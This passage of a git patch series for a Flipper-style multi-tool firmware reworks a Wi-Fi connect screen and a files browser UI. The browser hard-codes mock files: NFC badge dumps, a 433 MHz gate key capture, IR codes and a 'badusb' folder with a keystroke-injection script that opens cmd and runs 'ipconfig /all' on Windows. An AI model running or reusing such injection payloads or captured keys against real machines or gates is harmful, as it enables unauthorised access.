state = st.state; + break; + } + } + } } - - lv_obj_set_user_data(item, (void *)ap); - lv_obj_add_event_cb(item, wifi_item_event_cb, LV_EVENT_ALL, NULL); - - if (main_group != NULL) - lv_group_add_obj(main_group, item); + } else { + ESP_LOGE(TAG, "staging SSID/pass to C5 failed"); } - if (main_group != NULL) { - lv_obj_t *first = lv_obj_get_child(s_wifi_list_cont, 0); - if (first != NULL) - lv_group_focus_obj(first); - } + s_connect_state = state; + memcpy(s_connect_ip, ip, 4); + s_connecting = false; + lv_async_call(connect_done_cb, NULL); + vTaskDelete(NULL); } -static void init_styles(void) { - if (s_is_styles_initialized) +static void on_keyboard_submit(const char *text, void *user_data) { + (void)user_data; + if (s_connecting || s_scanning) return; - - lv_style_init(&s_style_menu); - lv_style_set_bg_color(&s_style_menu, current_theme.screen_base); - lv_style_set_bg_opa(&s_style_menu, LV_OPA_COVER); - lv_style_set_border_width(&s_style_menu, WIFI_MENU_BORDER_WIDTH); - lv_style_set_border_color(&s_style_menu, current_theme.border_interface); - lv_style_set_radius(&s_style_menu, 0); - lv_style_set_pad_all(&s_style_menu, WIFI_MENU_PAD); - - lv_style_init(&s_style_item); - lv_style_set_bg_color(&s_style_item, current_theme.bg_item_bot); - lv_style_set_bg_grad_color(&s_style_item, current_theme.bg_item_top); - lv_style_set_bg_grad_dir(&s_style_item, LV_GRAD_DIR_VER); - lv_style_set_border_width(&s_style_item, WIFI_ITEM_BORDER_WIDTH); - lv_style_set_border_color(&s_style_item, current_theme.border_inactive); - lv_style_set_radius(&s_style_item, 0); - - s_is_styles_initialized = true; + strncpy(s_connect_pass, text ? text : "", sizeof(s_connect_pass) - 1); + s_connect_pass[sizeof(s_connect_pass) - 1] = '\0'; + s_connecting = true; + ESP_LOGI(TAG, "connecting to '%s'...", s_connect_ssid); + if (xTaskCreate( + wifi_connect_task, "wifi_conn", WIFI_TASK_STACK_SIZE, NULL, WIFI_TASK_PRIORITY, NULL) != + pdPASS) + s_connecting = false; } -static bool local_get_known_password(const char *ssid, char *out_password, size_t buffer_size) { - if (ssid == NULL || out_password == NULL) - return false; - - size_t size = 0; - char *buffer = (char *)storage_assets_load_file(WIFI_KNOWN_NETWORKS_FILE, &size); - if (buffer == NULL) - return false; - - cJSON *root = cJSON_Parse(buffer); - free(buffer); - if (root == NULL) - return false; - - bool found = false; - cJSON *item = NULL; - cJSON_ArrayForEach(item, root) { - cJSON *j_ssid = cJSON_GetObjectItem(item, "ssid"); - if (!cJSON_IsString(j_ssid) || strcmp(j_ssid->valuestring, ssid) != 0) - continue; - - cJSON *j_pass = cJSON_GetObjectItem(item, "password"); - if (cJSON_IsString(j_pass)) { - strncpy(out_password, j_pass->valuestring, buffer_size - 1); - out_password[buffer_size - 1] = '\0'; - found = true; - } - break; +static void build_screen(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; } - cJSON_Delete(root); - return found; -} - -static void restore_wifi_group(lv_timer_t *timer) { - (void)timer; - s_restore_group_timer = NULL; + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - if (main_group == NULL || s_wifi_list_cont == NULL) - return; + s_menu = menu_component_create(s_screen, "Networks", "/assets/icons/wifi_menu_icon.bin"); - lv_group_remove_all_objs(main_group); - uint32_t child_count = lv_obj_get_child_cnt(s_wifi_list_cont); - for (uint32_t i = 0; i < child_count; i++) { - lv_obj_t *child = lv_obj_get_child(s_wifi_list_cont, i); - if (child != NULL) - lv_group_add_obj(main_group, child); + if (s_scan_state == SCAN_RUNNING) { + menu_component_add_item(&s_menu, "/assets/icons/wifi_menu_icon.bin", "Scanning..."); + } else if (s_scan_state == SCAN_FAIL) { + menu_component_add_item(&s_menu, "/assets/icons/wifi_menu_icon.bin", "Scan failed (C5?)"); + } else if (s_ap_count == 0) { + menu_component_add_item(&s_menu, "/assets/icons/wifi_menu_icon.bin", "No networks found"); + } else { + for (int i = 0; i < s_ap_count; i++) { + menu_component_add_item(&s_menu, icon_for_rssi(s_aps[i].rssi), s_aps[i].ssid); + menu_component_set_item_label_color(&s_menu, i, lv_color_hex(SCAN_RESULT_COLOR_HEX)); + } } - lv_obj_t *first = lv_obj_get_child(s_wifi_list_cont, 0); - if (first != NULL) - lv_group_focus_obj(first); -} - -static void on_msgbox_closed(bool confirm) { - (void)confirm; - if (s_restore_group_timer != NULL) - lv_timer_del(s_restore_group_timer); + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); - s_restore_group_timer = lv_timer_create(restore_wifi_group, WIFI_RESTORE_GROUP_DELAY_MS, NULL); - lv_timer_set_repeat_count(s_restore_group_timer, 1); + ui_screen_load(s_screen); } -static void on_wifi_status_async(void *user_data) { - (void)user_data; - if (!s_is_awaiting_connect) +static void scan_done_cb(void *unused) { + (void)unused; + if (ui_current_screen() != SCREEN_CONNECT_WIFI) return; + build_screen(); + ESP_LOGI(TAG, "scan finished: state=%d, %d AP(s)", (int)s_scan_state, s_ap_count); +} - s_is_awaiting_connect = false; - msgbox_close(); +static void wifi_scan_task(void *arg) { + (void)arg; + scan_state_t result = SCAN_FAIL; + int count = 0; + + if (bridge_master_init() == ESP_OK) { + bridge_frame_t req = {.cmd = BRIDGE_CMD_WIFI_SCAN_START}; + bridge_frame_t resp = {0}; + if (bridge_request(&req, &resp, SCAN_SETTLE_MS) == ESP_OK && resp.status == BRIDGE_STATUS_OK) { + uint8_t n = 0; + for (int i = 0; i < SCAN_POLL_TRIES; i++) { + vTaskDelay(pdMS_TO_TICKS(SCAN_POLL_DELAY_MS)); + req.cmd = BRIDGE_CMD_WIFI_SCAN_COUNT; + if (bridge_request(&req, &resp, SCAN_SETTLE_MS) == ESP_OK && + resp.status == BRIDGE_STATUS_OK && resp.payload[0] > 0) { + n = resp.payload[0]; + break; + } + } + result = SCAN_DONE; + + int to_fetch = (n > WIFI_MAX_APS) ? WIFI_MAX_APS : n; + for (int i = 0; i < to_fetch; i++) { + req.cmd = BRIDGE_CMD_WIFI_SCAN_GET; + req.len = 1; + req.payload[0] = (uint8_t)i; + if (bridge_request(&req, &resp, SCAN_SETTLE_MS) == ESP_OK && + resp.status == BRIDGE_STATUS_OK) { + bridge_wifi_ap_t ap; + memcpy(&ap, resp.payload, sizeof(ap)); + if (!ap.valid) + continue; + strncpy(s_aps[count].ssid, ap.ssid, sizeof(s_aps[count].ssid) - 1); + s_aps[count].ssid[sizeof(s_aps[count].ssid) - 1] = '\0'; + if (s_aps[count].ssid[0] == '\0') + strcpy(s_aps[count].ssid, "(hidden)"); + s_aps[count].rssi = (int8_t)ap.rssi; + count++; + } + } + } else { + ESP_LOGE(TAG, "WIFI_SCAN_START failed (bridge/C5 not responding)"); + } + } else { + ESP_LOGE(TAG, "bridge_master_init failed"); + } - if (s_is_pending_connected) - msgbox_open(LV_SYMBOL_OK, "CONECTADO COM SUCESSO", "OK", NULL, on_msgbox_closed); - else - msgbox_open(LV_SYMBOL_CLOSE, "FALHA NA CONEXAO", "OK", NULL, on_msgbox_closed); + s_ap_count = count; + s_scan_state = result; + s_scanning = false; + lv_async_call(scan_done_cb, NULL); + vTaskDelete(NULL); } -static void wifi_status_timer_cb(lv_timer_t *timer) { - if (!s_is_awaiting_connect) { - lv_timer_del(timer); - s_wifi_status_timer = NULL; +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; return; } - if (wifi_service_is_connected()) { - s_is_pending_connected = true; - lv_async_call(on_wifi_status_async, NULL); - lv_timer_del(timer); - s_wifi_status_timer = NULL; + bool is_up = ui_btn_up(); + bool is_down = ui_btn_down(); + bool is_left = ui_btn_left(); + bool is_right = ui_btn_right(); + bool is_ok = ok_button_is_down(); + bool is_back = back_button_is_down(); + + if (keyboard_is_open() || msgbox_is_open() || ui_input_is_locked()) { + s_btn_up_last = is_up; + s_btn_down_last = is_down; + s_btn_left_last = is_left; + s_btn_right_last = is_right; + s_btn_ok_last = is_ok; + s_btn_back_last = is_back; return; } - if (++s_wifi_status_poll_count >= WIFI_STATUS_POLL_MAX) { - s_is_pending_connected = false; - lv_async_call(on_wifi_status_async, NULL); - lv_timer_del(timer); - s_wifi_status_timer = NULL; - } -} + if (is_down && !s_btn_down_last) + menu_component_next(&s_menu); + if (is_up && !s_btn_up_last) + menu_component_prev(&s_menu); -static void on_keyboard_submit(const char *text, void *user_data) { - (void)user_data; - strncpy(s_selected_pass, text != NULL ? text : "", sizeof(s_selected_pass) - 1); - s_selected_pass[sizeof(s_selected_pass) - 1] = '\0'; - - if (wifi_service_connect_to_ap(s_selected_ssid, s_selected_pass) == ESP_OK) { - s_is_awaiting_connect = true; - s_wifi_status_poll_count = 0; - msgbox_open(LV_SYMBOL_WIFI, "CONECTANDO...", NULL, NULL, NULL); - s_wifi_status_timer = lv_timer_create(wifi_status_timer_cb, WIFI_STATUS_POLL_INTERVAL_MS, NULL); - } else { - msgbox_open(LV_SYMBOL_CLOSE, "FALHA NA CONEXAO", "OK", NULL, on_msgbox_closed); - } -} + if ((is_back && !s_btn_back_last) || (is_left && !s_btn_left_last)) + ui_switch_screen(SCREEN_CONNECTION_SETTINGS); -static void wifi_item_event_cb(lv_event_t *e) { - lv_event_code_t code = lv_event_get_code(e); - lv_obj_t *item = lv_event_get_target(e); - - if (code == LV_EVENT_FOCUSED) { - lv_obj_set_style_border_color(item, ui_theme_get_accent(), 0); - lv_obj_set_style_border_width(item, WIFI_MENU_BORDER_WIDTH, 0); - lv_obj_scroll_to_view(item, LV_ANIM_ON); - } else if (code == LV_EVENT_DEFOCUSED) { - lv_obj_set_style_border_color(item, current_theme.border_inactive, 0); - lv_obj_set_style_border_width(item, WIFI_ITEM_BORDER_WIDTH, 0); - } else if (code == LV_EVENT_KEY) { - uint32_t key = lv_event_get_key(e); - if (key == LV_KEY_ESC || key == LV_KEY_LEFT) { - ui_switch_screen(SCREEN_CONNECTION_SETTINGS); - } else if (key == LV_KEY_ENTER || key == LV_KEY_RIGHT) { - wifi_ap_record_t *ap = (wifi_ap_record_t *)lv_obj_get_user_data(item); - if (ap == NULL) - return; - - strncpy(s_selected_ssid, (const char *)ap->ssid, sizeof(s_selected_ssid) - 1); - s_selected_ssid[sizeof(s_selected_ssid) - 1] = '\0'; - - if (ap->authmode == WIFI_AUTH_OPEN) { - on_keyboard_submit("", NULL); - } else if (local_get_known_password(s_selected_ssid, s_known_pass, sizeof(s_known_pass))) { - on_keyboard_submit(s_known_pass, NULL); - } else { + if ((is_ok && !s_btn_ok_last) || (is_right && !s_btn_right_last)) { + if (s_scan_state == SCAN_DONE && s_ap_count > 0) { + int sel = menu_component_get_selected(&s_menu); + if (sel >= 0 && sel < s_ap_count) { + strncpy(s_connect_ssid, s_aps[sel].ssid, sizeof(s_connect_ssid) - 1); + s_connect_ssid[sizeof(s_connect_ssid) - 1] = '\0'; keyboard_open(NULL, on_keyboard_submit, NULL); } } } -} \ No newline at end of file + + s_btn_up_last = is_up; + s_btn_down_last = is_down; + s_btn_left_last = is_left; + s_btn_right_last = is_right; + s_btn_ok_last = is_ok; + s_btn_back_last = is_back; +} + +void ui_connect_wifi_open(void) { + s_scan_state = SCAN_RUNNING; + s_ap_count = 0; + build_screen(); + + if (!s_scanning) { + s_scanning = true; + if (xTaskCreate( + wifi_scan_task, "wifi_scan", WIFI_TASK_STACK_SIZE, NULL, WIFI_TASK_PRIORITY, NULL) != + pdPASS) { + s_scanning = false; + s_scan_state = SCAN_FAIL; + build_screen(); + } + } + + ESP_LOGI(TAG, "Networks screen opened — real C5 scan started"); +} From 0b64bbe3ed5575728c147370e42811866f69e54c Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 16:35:04 -0300 Subject: [PATCH 141/572] feat(ui): rework files browser screen --- .../Applications/ui/screens/files/files_ui.c | 1377 ++++++++++++----- .../ui/screens/files/include/files_ui.h | 13 +- 2 files changed, 980 insertions(+), 410 deletions(-) diff --git a/firmware_p4/components/Applications/ui/screens/files/files_ui.c b/firmware_p4/components/Applications/ui/screens/files/files_ui.c index 755cb519f..355c6592a 100644 --- a/firmware_p4/components/Applications/ui/screens/files/files_ui.c +++ b/firmware_p4/components/Applications/ui/screens/files/files_ui.c @@ -15,476 +15,1041 @@ #include "files_ui.h" -#include #include -#include -#include #include "esp_log.h" +#include "lvgl.h" #include "st7789.h" #include "assets_manager.h" #include "buttons_gpio.h" -#include "storage_assets.h" -#include "text_viewer_ui.h" +#include "ui_feedback.h" #include "ui_manager.h" #include "ui_theme.h" static const char *TAG = "FILES_UI"; -#define NAV_TIMER_INTERVAL_MS 50 -#define MAX_ENTRIES 20 -#define ENTRY_NAME_MAX_LEN 64 -#define PATH_MAX_LEN 256 -#define FULL_PATH_MAX_LEN 384 -#define OUTER_BORDER 4 -#define TOP_BORDER_H 46 -#define ITEM_H 50 -#define ITEM_W 210 -#define ITEM_BORDER_WIDTH 1 -#define ITEM_SELECTED_WIDTH 2 -#define ITEM_RADIUS 10 -#define ITEM_PAD_H 8 -#define ITEM_PAD_COL 6 -#define ITEM_ICON_SCALE 128 -#define TITLE_BAR_W 170 -#define TITLE_BAR_H 30 -#define TITLE_BAR_RADIUS 12 -#define TITLE_BAR_BORDER_WIDTH 2 -#define TITLE_ICON_SCALE 80 -#define TOP_AREA_BORDER_WIDTH 3 -#define PATH_LABEL_OFFSET_X (-8) -#define PATH_LABEL_OFFSET_Y 4 -#define PATH_LABEL_MARGIN_RIGHT 30 -#define ITEMS_PATH_GAP 28 -#define ITEMS_CONT_PAD 2 -#define ITEMS_CONT_PAD_ROW 6 -#define ITEMS_CONT_X_OFFSET 4 -#define SCROLL_TRACK_OFFSET_X 10 -#define SCROLL_TRACK_MARGIN 10 -#define SCROLL_TRACK_WIDTH 3 -#define SCROLL_TRACK_DASH_W 4 -#define SCROLL_TRACK_DASH_GAP 4 -#define SCROLL_BAR_OFFSET_X (-4) -#define SCROLL_BAR_THUMB_H 20 -#define SCROLL_ANIM_DURATION_MS 150 -#define VIEWER_SCROLL_STEP 30 -#define DEFAULT_PATH "/assets" - -#define COLOR_BORDER current_theme.border_interface -#define COLOR_ITEM_BORDER current_theme.border_accent -#define COLOR_GRAD_LEFT current_theme.border_interface -#define COLOR_GRAD_RIGHT current_theme.bg_secondary -#define COLOR_SEL_BORDER current_theme.border_accent - -static lv_obj_t *s_screen_files = NULL; -static lv_timer_t *s_nav_timer = NULL; - -static lv_obj_t *s_path_label = NULL; -static lv_obj_t *s_items_cont = NULL; -static lv_obj_t *s_item_objs[MAX_ENTRIES]; -static lv_obj_t *s_scroll_bar = NULL; - -static char s_current_path[PATH_MAX_LEN] = DEFAULT_PATH; -static char s_entry_names[MAX_ENTRIES][ENTRY_NAME_MAX_LEN]; -static bool s_entry_is_dir[MAX_ENTRIES]; -static int s_entry_count = 0; -static int s_selected = 0; -static bool s_is_viewing_file = false; -static text_viewer_t s_viewer; - -static bool s_btn_up_last = false; -static bool s_btn_down_last = false; -static bool s_btn_left_last = false; -static bool s_btn_right_last = false; -static bool s_btn_back_last = false; - -static lv_font_t *s_file_font = NULL; - -static int s_track_y_start; -static int s_track_h; - -static void update_scroll_bar(void); -static void update_selection(void); -static void scan_directory(void); -static void build_file_list(void); -static void open_file_viewer(void); -static void close_file_viewer(void); -static void navigate_into(void); -static void navigate_back(void); -static void nav_timer_cb(lv_timer_t *timer); - -void ui_files_open(void) { - if (s_screen_files != NULL) { - lv_obj_del(s_screen_files); - s_screen_files = NULL; +#define HEADER_H 36 +#define PATH_H 18 +#define FOOTER_H 22 +#define PEEK_H 72 +#define CONTENT_Y (HEADER_H + PATH_H) +#define ROW_H 31 +#define ROW_GAP 3 +#define ROW_STEP (ROW_H + ROW_GAP) +#define LIST_VIS 4 +#define TILE_W 68 +#define TILE_H 64 +#define GLABEL_H 28 + +#define ROW_CONTENT_W (LCD_H_RES - 16) +#define ROW_NAME_X 36 +#define ROW_NAME_W_FILE (ROW_CONTENT_W - ROW_NAME_X - 8) +#define ROW_NAME_W_DIR (ROW_CONTENT_W - ROW_NAME_X - 46) + +#define NAV_TIMER_MS 50 +#define OK_LONG_MS 450 +#define SCROLL_STEP 36 + +#define COL_RAISE 0x170A28 +#define COL_DIM 0x8A8594 +#define COL_DIRNM 0xF0E6FF + +enum { FT_DIR = 0, FT_IR, FT_SUB, FT_NFC, FT_LOG }; + +typedef struct file_node { + const char *name; + uint8_t type; + const struct file_node *children; + uint8_t child_count; + const char *meta; + const char *snip; + const char *content; +} file_node_t; + +#define ARRLEN(a) ((uint8_t)(sizeof(a) / sizeof((a)[0]))) + +static const char C_OFFICE_NFC[] = "Filetype: NFC device\n" + "Type: Mifare Classic 1K\n" + "UID: 1A 2B 3C 4D\n" + "ATQA: 00 04 SAK: 08\n" + "#\n" + "Blk0: 1A2B3C4D 08040062\n" + "Blk3: FFFFFFFFFFFF 0780\n" + "# 16 sectors\n"; +static const char C_TRANSIT_NFC[] = "Filetype: NFC device\n" + "Type: MF Ultralight\n" + "UID: 04 A3 F2 9C\n" + "#\n" + "Page04: 12 34 56 78\n" + "Page05: 9A BC DE F0\n" + "# 20 pages\n"; +static const char C_MYSTERY_NFC[] = "Filetype: NFC device\n" + "Type: ISO14443-3A\n" + "UID: 88 04 5F 2A\n" + "ATQA: 00 44 SAK: 00\n" + "# unidentified\n"; +static const char C_GATE_SUB[] = "Filetype: SubGhz Key\n" + "Freq: 433.92 MHz\n" + "Preset: Ook650Async\n" + "Protocol: Princeton\n" + "Bit: 24\n" + "Key: 000000 1A2B3C\n" + "TE: 400 Repeat: 5\n" + "# end\n"; +static const char C_TPMS_SUB[] = "Filetype: SubGhz RAW\n" + "Freq: 315.00 MHz\n" + "Protocol: TPMS\n" + "#\n" + "Pressure: 32 psi\n" + "Temp: 24 C\n" + "ID: 0x068A\n" + "# end\n"; +static const char C_SWEEP_TXT[] = + "# sweep list (MHz)\n433.92\n315.00\n868.35\n915.00\n40.68\n# end\n"; +static const char C_SAMSUNG_IR[] = "Filetype: IR signals\n" + "Protocol: NECext\n" + "#\n" + "Power cmd 08 F7\n" + "Vol_up cmd 02 FD\n" + "Vol_dn cmd 03 FC\n" + "Mute cmd 09 F6\n" + "# 4 buttons\n"; +static const char C_LG_IR[] = "Filetype: IR signals\n" + "Protocol: NEC\n" + "#\n" + "Power cmd 08\n" + "CH_up cmd 00\n" + "CH_dn cmd 01\n" + "Menu cmd 43\n" + "# 6 buttons\n"; +static const char C_MIDEA_IR[] = "Filetype: IR signals\n" + "Protocol: Midea (AC)\n" + "#\n" + "Cool 24C\n" + "Fan: auto\n" + "Swing: off\n" + "Off\n" + "# AC kit\n"; +static const char C_PAYLOAD_TXT[] = "REM win recon\n" + "DELAY 500\n" + "GUI r\n" + "DELAY 200\n" + "STRING cmd\n" + "ENTER\n" + "STRING ipconfig /all\n" + "ENTER\n" + "# 22 lines\n"; +static const char C_RICK_TXT[] = "REM classic\nGUI r\nSTRING youtu.be/dQw4\nENTER\n# 8 lines\n"; +static const char C_BOOT_LOG[] = "[01] boot TentacleOS\n" + "[01] heap 8231 KB\n" + "[02] littlefs ok\n" + "[03] c5 handshake ok\n" + "[05] ui home loaded\n" + "[30] batt 76% 4.02V\n" + "# end of log\n"; +static const char C_CRASH_TXT[] = "assert @ nfc.c:214\nheap: 142 KB free\ntask: nfc_poll\n"; + +static const file_node_t NFC_SAVED[] = { + {"office_badge.nfc", + FT_NFC, + NULL, + 0, + "Mifare 1K UID 1A2B3C4D", + "Block 0: 1A 2B 3C 4D 08 04", + C_OFFICE_NFC}, + {"transit_card.nfc", + FT_NFC, + NULL, + 0, + "MF Ultralight 04A3F29C", + "Page 04: 12 34 56 78", + C_TRANSIT_NFC}, +}; +static const file_node_t NFC_DUMPS[] = { + {"mystery_tag.nfc", + FT_NFC, + NULL, + 0, + "ISO14443-3 88045F2A", + "ATQA 00 44 SAK 00", + C_MYSTERY_NFC}, +}; +static const file_node_t NFC_KIDS[] = { + {"saved", FT_DIR, NFC_SAVED, ARRLEN(NFC_SAVED), NULL, NULL, NULL}, + {"dumps", FT_DIR, NFC_DUMPS, ARRLEN(NFC_DUMPS), NULL, NULL, NULL}, +}; + +static const file_node_t SUB_CAP[] = { + {"gate_433.sub", + FT_SUB, + NULL, + 0, + "433.92 MHz Princeton", + "Key: 00 00 00 1A 2B 3C", + C_GATE_SUB}, + {"tpms_front.sub", FT_SUB, NULL, 0, "315 MHz TPMS", "Pressure 32 psi 24C", C_TPMS_SUB}, +}; +static const file_node_t SUB_PLAY[] = { + {"sweep.txt", FT_LOG, NULL, 0, "6 lines", "433.92 315.00 868.35", C_SWEEP_TXT}, +}; +static const file_node_t SUB_KIDS[] = { + {"captures", FT_DIR, SUB_CAP, ARRLEN(SUB_CAP), NULL, NULL, NULL}, + {"playlists", FT_DIR, SUB_PLAY, ARRLEN(SUB_PLAY), NULL, NULL, NULL}, +}; + +static const file_node_t IR_TV[] = { + {"samsung.ir", FT_IR, NULL, 0, "NECext 4 cmds", "Power / Vol+ / Vol- / Mute", C_SAMSUNG_IR}, + {"lg.ir", FT_IR, NULL, 0, "NEC 6 cmds", "Power / CH+ / CH- / Menu", C_LG_IR}, +}; +static const file_node_t IR_AC[] = { + {"midea.ir", FT_IR, NULL, 0, "Midea kit", "Cool 24C Fan auto", C_MIDEA_IR}, +}; +static const file_node_t IR_KIDS[] = { + {"tv", FT_DIR, IR_TV, ARRLEN(IR_TV), NULL, NULL, NULL}, + {"ac", FT_DIR, IR_AC, ARRLEN(IR_AC), NULL, NULL, NULL}, +}; + +static const file_node_t BADUSB_FILES[] = { + {"payload_win.txt", FT_LOG, NULL, 0, "22 lines", "GUI r DELAY 200 STRING cmd", C_PAYLOAD_TXT}, + {"rickroll.txt", FT_LOG, NULL, 0, "8 lines", "...never gonna give...", C_RICK_TXT}, +}; + +static const file_node_t LOGS_FILES[] = { + {"boot.log", FT_LOG, NULL, 0, "18 lines", "[00:00:01] boot: TentacleOS", C_BOOT_LOG}, + {"crash.txt", FT_LOG, NULL, 0, "3 lines", "assert @ nfc.c:214", C_CRASH_TXT}, +}; + +static const file_node_t ROOT_KIDS[] = { + {"nfc", FT_DIR, NFC_KIDS, ARRLEN(NFC_KIDS), NULL, NULL, NULL}, + {"subghz", FT_DIR, SUB_KIDS, ARRLEN(SUB_KIDS), NULL, NULL, NULL}, + {"infrared", FT_DIR, IR_KIDS, ARRLEN(IR_KIDS), NULL, NULL, NULL}, + {"badusb", FT_DIR, BADUSB_FILES, ARRLEN(BADUSB_FILES), NULL, NULL, NULL}, + {"logs", FT_DIR, LOGS_FILES, ARRLEN(LOGS_FILES), NULL, NULL, NULL}, +}; +static const file_node_t ROOT = {"Files", FT_DIR, ROOT_KIDS, ARRLEN(ROOT_KIDS), NULL, NULL, NULL}; + +#define MAX_ENTRIES 16 +#define MAX_DEPTH 8 + +static const char *ICON_OF[] = { + [FT_DIR] = "/assets/icons/folder_icon.bin", + [FT_IR] = "/assets/icons/ir_icon.bin", + [FT_SUB] = "/assets/icons/radar_icon.bin", + [FT_NFC] = "/assets/icons/nfc_icon.bin", + [FT_LOG] = "/assets/icons/file_icon.bin", +}; + +static lv_color_t color_of(uint8_t t) { + switch (t) { + case FT_DIR: + return lv_color_hex(0xFFC400); + case FT_IR: + return lv_color_hex(0xFF5470); + case FT_SUB: + return lv_color_hex(0x00E676); + case FT_NFC: + return lv_color_hex(0x00BCD4); + default: + return lv_color_hex(0x9A93A6); } - - s_screen_files = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen_files, current_theme.screen_base, 0); - lv_obj_set_style_bg_opa(s_screen_files, LV_OPA_COVER, 0); - lv_obj_remove_flag(s_screen_files, LV_OBJ_FLAG_SCROLLABLE); - - if (s_file_font == NULL) { - extern lv_font_t *lv_binfont_create(const char *); - s_file_font = lv_binfont_create("A:assets/fonts/Inter.bin"); +} +static const char *tag_of(uint8_t t) { + switch (t) { + case FT_DIR: + return "DIR"; + case FT_IR: + return "IR"; + case FT_SUB: + return "SUB"; + case FT_NFC: + return "NFC"; + default: + return "TXT"; } +} - lv_obj_set_style_border_width(s_screen_files, OUTER_BORDER, 0); - lv_obj_set_style_border_color(s_screen_files, COLOR_BORDER, 0); - lv_obj_set_style_radius(s_screen_files, 0, 0); - lv_obj_set_style_pad_all(s_screen_files, 0, 0); - - lv_obj_t *top_area = lv_obj_create(s_screen_files); - lv_obj_set_size(top_area, LCD_H_RES - OUTER_BORDER * 2, TOP_BORDER_H); - lv_obj_align(top_area, LV_ALIGN_TOP_MID, 0, 0); - lv_obj_remove_flag(top_area, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_bg_opa(top_area, LV_OPA_TRANSP, 0); - lv_obj_set_style_border_width(top_area, TOP_AREA_BORDER_WIDTH, 0); - lv_obj_set_style_border_color(top_area, COLOR_BORDER, 0); - lv_obj_set_style_border_side(top_area, LV_BORDER_SIDE_BOTTOM, 0); - lv_obj_set_style_radius(top_area, 0, 0); - lv_obj_set_style_pad_all(top_area, 0, 0); - - lv_obj_t *title_bar = lv_obj_create(top_area); - lv_obj_set_size(title_bar, TITLE_BAR_W, TITLE_BAR_H); - lv_obj_align(title_bar, LV_ALIGN_CENTER, 0, 0); - lv_obj_remove_flag(title_bar, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_radius(title_bar, TITLE_BAR_RADIUS, 0); - lv_obj_set_style_bg_opa(title_bar, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(title_bar, COLOR_GRAD_LEFT, 0); - lv_obj_set_style_bg_grad_color(title_bar, COLOR_GRAD_RIGHT, 0); - lv_obj_set_style_bg_grad_dir(title_bar, LV_GRAD_DIR_HOR, 0); - lv_obj_set_style_border_width(title_bar, TITLE_BAR_BORDER_WIDTH, 0); - lv_obj_set_style_border_color(title_bar, COLOR_ITEM_BORDER, 0); - - static lv_image_dsc_t *s_folder_icon = NULL; - if (s_folder_icon == NULL) - s_folder_icon = assets_get("/assets/frames/folder_frame_0.bin"); - - if (s_folder_icon != NULL) { - lv_obj_t *title_icon = lv_image_create(title_bar); - lv_image_set_src(title_icon, s_folder_icon); - lv_obj_add_flag(title_icon, LV_OBJ_FLAG_FLOATING); - lv_obj_align(title_icon, LV_ALIGN_LEFT_MID, ITEM_PAD_H, 0); - lv_image_set_scale(title_icon, TITLE_ICON_SCALE); - } +typedef enum { VIEW_LIST = 0, VIEW_GRID } view_t; + +static lv_obj_t *s_screen = NULL; +static lv_timer_t *s_timer = NULL; +static view_t s_view = VIEW_LIST; + +static uint8_t s_path[MAX_DEPTH]; +static uint8_t s_sel_stack[MAX_DEPTH]; +static int s_depth = 0; +static int s_sel = 0; +static bool s_in_viewer = false; + +static lv_obj_t *s_item[MAX_ENTRIES]; +static lv_obj_t *s_item_name[MAX_ENTRIES]; +static int s_item_count = 0; +static lv_obj_t *s_inner = NULL; +static lv_obj_t *s_pk_icon, *s_pk_name, *s_pk_tag, *s_pk_meta, *s_pk_snip; +static lv_obj_t *s_gl_name, *s_gl_type; +static lv_obj_t *s_vbody = NULL; + +static bool s_up_last, s_down_last, s_left_last, s_right_last, s_ok_last, s_back_last; +static uint32_t s_ok_down_since = 0; +static bool s_ok_long_fired = false; +static bool s_ok_armed = false; + +static void nav_timer_cb(lv_timer_t *t); +static void build_screen(void); + +static const file_node_t *cur_dir(void) { + const file_node_t *n = &ROOT; + for (int i = 0; i < s_depth; i++) + n = &n->children[s_path[i]]; + return n; +} +static void dir_counts(const file_node_t *d, int *nd, int *nf) { + int a = 0, b = 0; + for (int i = 0; i < d->child_count; i++) + (d->children[i].type == FT_DIR) ? a++ : b++; + *nd = a; + *nf = b; +} - lv_obj_t *title_lbl = lv_label_create(title_bar); - lv_label_set_text(title_lbl, "Files"); - lv_obj_set_style_text_color(title_lbl, current_theme.text_main, 0); - lv_obj_set_style_text_font( - title_lbl, s_file_font != NULL ? s_file_font : &lv_font_montserrat_14, 0); - lv_obj_center(title_lbl); - - int content_y = TOP_BORDER_H + 4; - - s_path_label = lv_label_create(s_screen_files); - lv_label_set_text(s_path_label, s_current_path); - lv_obj_set_style_text_color(s_path_label, current_theme.text_main, 0); - lv_obj_set_style_text_font(s_path_label, &lv_font_montserrat_12, 0); - lv_obj_set_width(s_path_label, LCD_H_RES - OUTER_BORDER * 2 - PATH_LABEL_MARGIN_RIGHT); - lv_label_set_long_mode(s_path_label, LV_LABEL_LONG_SCROLL_CIRCULAR); - lv_obj_align( - s_path_label, LV_ALIGN_TOP_MID, PATH_LABEL_OFFSET_X, content_y + PATH_LABEL_OFFSET_Y); - - int items_y = content_y + ITEMS_PATH_GAP; - int items_h = LCD_V_RES - items_y - OUTER_BORDER - 4; - - s_items_cont = lv_obj_create(s_screen_files); - lv_obj_set_size(s_items_cont, ITEM_W + 8, items_h); - lv_obj_align(s_items_cont, LV_ALIGN_TOP_LEFT, ITEMS_CONT_X_OFFSET, items_y); - lv_obj_set_style_bg_opa(s_items_cont, LV_OPA_TRANSP, 0); - lv_obj_set_style_border_width(s_items_cont, 0, 0); - lv_obj_set_style_pad_all(s_items_cont, ITEMS_CONT_PAD, 0); - lv_obj_set_style_pad_row(s_items_cont, ITEMS_CONT_PAD_ROW, 0); - lv_obj_set_flex_flow(s_items_cont, LV_FLEX_FLOW_COLUMN); - lv_obj_set_scrollbar_mode(s_items_cont, LV_SCROLLBAR_MODE_OFF); - 